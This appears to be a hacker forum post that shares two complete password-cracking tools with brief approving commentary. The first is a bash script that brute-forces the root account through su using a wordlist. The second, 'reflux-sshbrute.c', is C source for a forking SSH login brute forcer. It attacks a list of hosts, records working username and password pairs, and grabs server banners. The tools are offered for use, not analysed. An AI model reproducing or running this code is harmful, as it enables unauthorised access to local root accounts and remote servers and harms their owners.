Now for Michaels,note i made this for root account,it wasnt configured for it.. great bruter code tho!
make a file.sh
Linux/Bsd bruter
#!/bin/bash
# (c) 1999/2000 <lcamtuf@ids.pl>
# ------------------------------
# Requirements:
# - working /bin/su
# - recent PAM implementation (tested with RedHat 5.x)
# - 'usleep' command and bash 1.14.x or 2.0.x
DESTACC='root' # Account to crack
WORDFILE='words' # Wordfile with passwords to test
KILLDELAY=03 # Delay (in 1/10 sec) to wait for su (<10)
# End of setup
clear
echo "RedHat - NothingInLogs[tm] BruteForce(R) Password Crack"
echo "-------------------------------------------------------"
echo " - (c) 1999/2000, Michal Zalewski <lcamtuf@ids.pl> - "
echo
if [ ! "$1" = "" ]; then
DESTACC="$1"
fi
KD=$[KILLDELAY*100000]
echo "[+] Configured against user '$DESTACC', wordfile: $WORDFILE"
echo "[+] Kill-delay set to $KD usecs."
id "$DESTACC" &>/dev/null
if [ ! "$?" = "0" ]; then
echo "[-] User: '$DESTACC' not found."
echo
exit 0
fi
SHL="`grep "^$DESTACC:" /etc/passwd|awk -F: '{print $7}'`"
if [ ! "$SHL" = "/bin/bash" ]; then
echo "[-] User '$DESTACC' has $SHL set as shell, expect problems."
fi
echo "[+] Destination account is alive and well."
if [ ! -f "$WORDFILE" ]; then
echo "[-] Wordfile '$WORDFILE' not found, check it."
echo
exit 0
fi
if [ ! -u /bin/su ]; then
echo "[-] Can't find +s on /bin/su, 0wn me."
echo
exit 0
fi
if [ ! -x /bin/su ]; then
echo "[-] Haven't +x on /bin/su, 0wn me."
echo
exit 0
fi
echo "[+] /bin/su seems to be executable and setuid, hopefully it works."
if [ ! -x /bin/usleep ]; then
echo "[-] No /bin/usleep in this system. Be a hacker."
echo
exit 0
fi
if [ "$UID" = "0" ]; then
echo "[-] Root?! your mental right?"
echo
exit 0
fi
echo "[+] Let's go straight to number one."
LNS="`cat $WORDFILE | wc -l|awk '{print $1}'`"
CNT=0
echo "[+] Wordfile '$WORDFILE' loaded - $LNS passes."
echo "[+] Estimated time: $[LNS*KILLDELAY/25] secs, max: $[LNS*KILLDELAY/10] secs."
while [ "$CNT" -lt "$LNS" ]; do
CNT=$[CNT+1]
PASS="`head -$CNT $WORDFILE|tail -1`"
echo -ne "[?] Trying: '$PASS' ($CNT/$LNS). \r"
echo "$PASS" | su "$DESTACC" &>/dev/null &
usleep $KD
kill -9 $! &>/dev/null
if [ ! "$?" = "0" ]; then
echo
echo "[*] Huh, I've tried pass: '$PASS' for: '$DESTACC'."
echo "[+] Time wasted: $[KILLDELAY*CNT/10] secs."
echo "[+] Thank You, and hope you enjoyed your stay."
echo
exit 0
fi
done
echo "[*] Hmm, end of wordfile, but no matching passwords 
"
echo "[+] Time wasted: $[KILLDELAY*CNT/10] seconds."
echo "[+] Bad day, try again tomorrow?"
echo
exit 0
And finally for tal0n’s!
A great guy and good friend!
Note, this can use LibSSh v2 if you want to bother to make it 
i have made that, even for windows, and wont publish that but, it is VERY simple and worth it,you wont get more than routers with these, you really want to be using and compiling with libssh 0.2 or 2.0 whatever it is but not 0.1 as most do…I might, oneday publish the one i have but, it is basically just as i have said, and some people do have it, but just use ssh2 functions to auth instead of 11,and connecting is also abit different but, very easy as it is alot of defines you call in ssh2, rather than functions, like ssh1.
anyhow thats just some rhetoric crap i thought of.. have phun! (xd)
For Linux/BSD
/*
* =====================================================================================================|
* ______________________________________________________________________________________________________
* This WAS private until traders and lame zone-h forum people got ahold of it >:( . |
* _____________________________________________________________________________________________________|
* |
* reflux-sshbrute.c |
* |
* SSHBrute v1.4 - Tal0n [cyber_talon@hotmail.com] of [Reflux Security] on [09-04-04] |
* Based on sshbrute2.c, but much, much better =). |
* |
* You MUST have LibSSH installed to compile: http://www.0xbadc0de.be/libssh/libssh-0.1.tgz |
* |
* Compiling: gcc -o sshbrute sshbrute.c -lssh |
* _____________________________________________________________________________________________________|
* Notes for v1.4: |
* |
* 1) Changed the printing of the banner to a varible instead of text to make updating easier. |
* 2) Added/Removed some login combonations but still keeping to limit to 50. |
* 3) Changed logging names and syntaxs of shells and no shells and no printing of boxes to the screen. |
* 4) Added and changed syntax to view file its bruting and its PID when it starts and finishes. |
* 5) Added a feature so that it fork()'s into the background while bruting. |
* |
* _____________________________________________________________________________________________________|
* This WAS private until traders and lame zone-h forum people got ahold of it >:( . |
* _____________________________________________________________________________________________________|
* =====================================================================================================|
*/
#include <arpa/inet.h>
#include <libssh/libssh.h>
#include <netinet/in.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
char banner[] = "\nSSHBrute v1.4 - Tal0n [cyber_talon@hotmail.com] of [Reflux Security] on 09-04-04";
int i; // The *process* varible.
int shell(SSH_SESSION *session) // The shell and ssh session.
{
struct timeval tv; // Some time values.
BUFFER *readbuf = buffer_new(); // Declare a BUFFER for readbuf and goto buffer_new() function (ref: libssh.h =P).
int what; // Just a varible we use to do some things.
time_t start, acum; // Declaring start and acum as time values
CHANNEL *channel; // Declare "channel" as a channel.
channel = open_session_channel(session, 1000, 1000); // channel equals open a session channel for session
if(isatty(0)) // Check if we got a tty.
what = channel_request_pty(channel); // Request a pty.
what = channel_request_shell(channel); // Request a shell =)
start = time(0); // Start the timer =P
while(channel->open != 0) // If the channel's not open, lets...
{
usleep(500000); // Lets sleeeppppppp
what = channel_poll(channel, 0); // Channel_poll the channel.
if(what > 0) // If we opened a shell, lets do something with it!
{
what = channel_read(channel, readbuf, 0, 0); // Read the buffer in the channel.
}
else
{
if(start+5<time(0)) // A ten second timeout.
{
return -1;
}
}
}
return 0;
}
void checkauth(char *username, char *password, char *host) // Check authencication.
{
SSH_OPTIONS *options; // Declare "options" as a SSH_OPTIONS.
SSH_SESSION *session; // Declare "session" as a SSH_SESSION.
char *argv[] = {"none"}; // This is weird but needed.
int argc = 1; // Same as above.
i++; // Child Process
alarm(10); // Alarm
options = ssh_getopt(&argc, argv); // Getopt argc and argv.
options_set_username(options, username); // Set username.
options_set_host(options, host); // Set host
session = ssh_connect(options); // Prepare ssh_connect with the options specified.
if(!session) // If we don't get a session...
return;
if(ssh_userauth_password(session, NULL, password) != AUTH_SUCCESS) // If the password doesn't work, do this.
{
ssh_disconnect(session); // Disconnect the ssh session.
return;
}
if(shell(session)) // If we grab a session...
{
FILE *fd; // Declare a file descriptor
fd = fopen("vuln.shell", "a+"); // Open vuln.txt
fprintf(fd, "[%s/%s %s]\n", username, password, host); // Write into vuln.txt
fclose(fd); // Close vuln.txt
}
else
{
FILE *fd; // Declare a file descriptor.
fd = fopen("vuln.noshell", "a+"); // Open vuln.txt.
fprintf(fd, "[%s/%s %s]\n", username, password, host); // Write into vuln.txt.
fclose(fd); // Close vuln.txt.
}
}
int main(int argc, char *argv[]) // Main Function.
{
char buffer[1000], *s; // Our file buffer and a varible we need to do some things.
FILE *fd; // Declare a file descriptor.
int maxfork, numfork; // Login combos and parent process.
if(argc < 2) // If we don't get our arguments...
{
printf("%s", banner); // Print this.
printf("\nUsage: %s -brute <hosts.txt> || -grab <ip> || -help\n\n", argv[0]); // Print this.
return 0;
}
if(strcmp(argv[1], "-brute") == 0) // If the user wants -brute...
{
fd = fopen(argv[2], "r"); // Open argv[1] for reading.
if(fd == NULL) // If its not there...
{
printf("\nCan't open \"%s\" to read!\n\n", argv[2]); // Print the error.
return 0;
}
pid_t pid;
pid = fork();
printf("SSHBrute Started (File = %s, PID = %d).\n", argv[2], pid); // Print this.
if(pid < 0)
{
printf("Error: fork()\n");
return -1;
}
if(pid == 0)
{
maxfork = atoi(argv[2]);
while(fgets(buffer, 1000, fd)) // Take in the buffer.
{
s = strchr(buffer, '\n'); // Look for next lines.
if(s != NULL)
{
*s = '\0'; // Look for a NULL terminator.
}
if(!(fork())) // If we can fork, start bruting username/password's.
{
i = 0; // Child Process.
checkauth("root", "openssh-portable-com", buffer); // Brute user/pass.
exit(0);
}
else
{
numfork++; // Parent Process
if(numfork > maxfork) // If the number of forks is greater than max.
{
for(numfork; numfork > maxfork; numfork--); // Starting *killing* off forks.
}
wait(NULL); // Wait =P
}
}
printf("\nSSHBrute Complete (File = %s, PID = %d).\n", argv[2], getpid()); // Print this
}
}
if(strcmp(argv[1], "-grab") == 0) // If the user wants -grab...
{
char buffer[200], data[] = "\r\n\r\n\r\n"; // The data to send.
int len = strlen(data); // The data's length.
int sock; // Our unix socket.
struct sockaddr_in remote; // Declare a sockaddr_in structure (remote).
remote.sin_family = AF_INET; // Sock family is AF_INET.
remote.sin_port = htons(22); // Port is 22.
remote.sin_addr.s_addr = inet_addr(argv[2]); // The ip to connect to.
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) // If no socket!?
{
printf("Error: socket()\n"); // Print this.
return -1;
}
if(connect(sock,(struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) // If we can't connect!?
{
printf("Error: connect()\n"); // Print this.
return -1;
}
send(sock, data, len, 0); // Send the data.
memset(buffer, 0, sizeof(buffer)); // Clear the buffer.
read(sock, buffer, sizeof(buffer)); // Read the buffer.
printf("\nSSHd Banner: %s\n", buffer); // Print this and the buffer.
close(sock); // Close our socket.
return 0;
}
if(strcmp(argv[1], "-help") == 0) // If the user wants -help...
{
printf("%s", banner); // Print this.
printf("\n\nSSHBrute is a SSH Daemon login brute forcer (-brute), supports a SSHd banner\n"); // Print this.
printf("grabber (-grab), and of course this message (-help). Need more info? USE THE SOURCE!\n\n"); // Print this.
return 0;
}
}
coz, im trying to make it already for only admins or regged/admin users who were invited here.. so, it will be done and closed to public but will always, serve a great reminder..for i have passed the torch to the same people, i once abused….
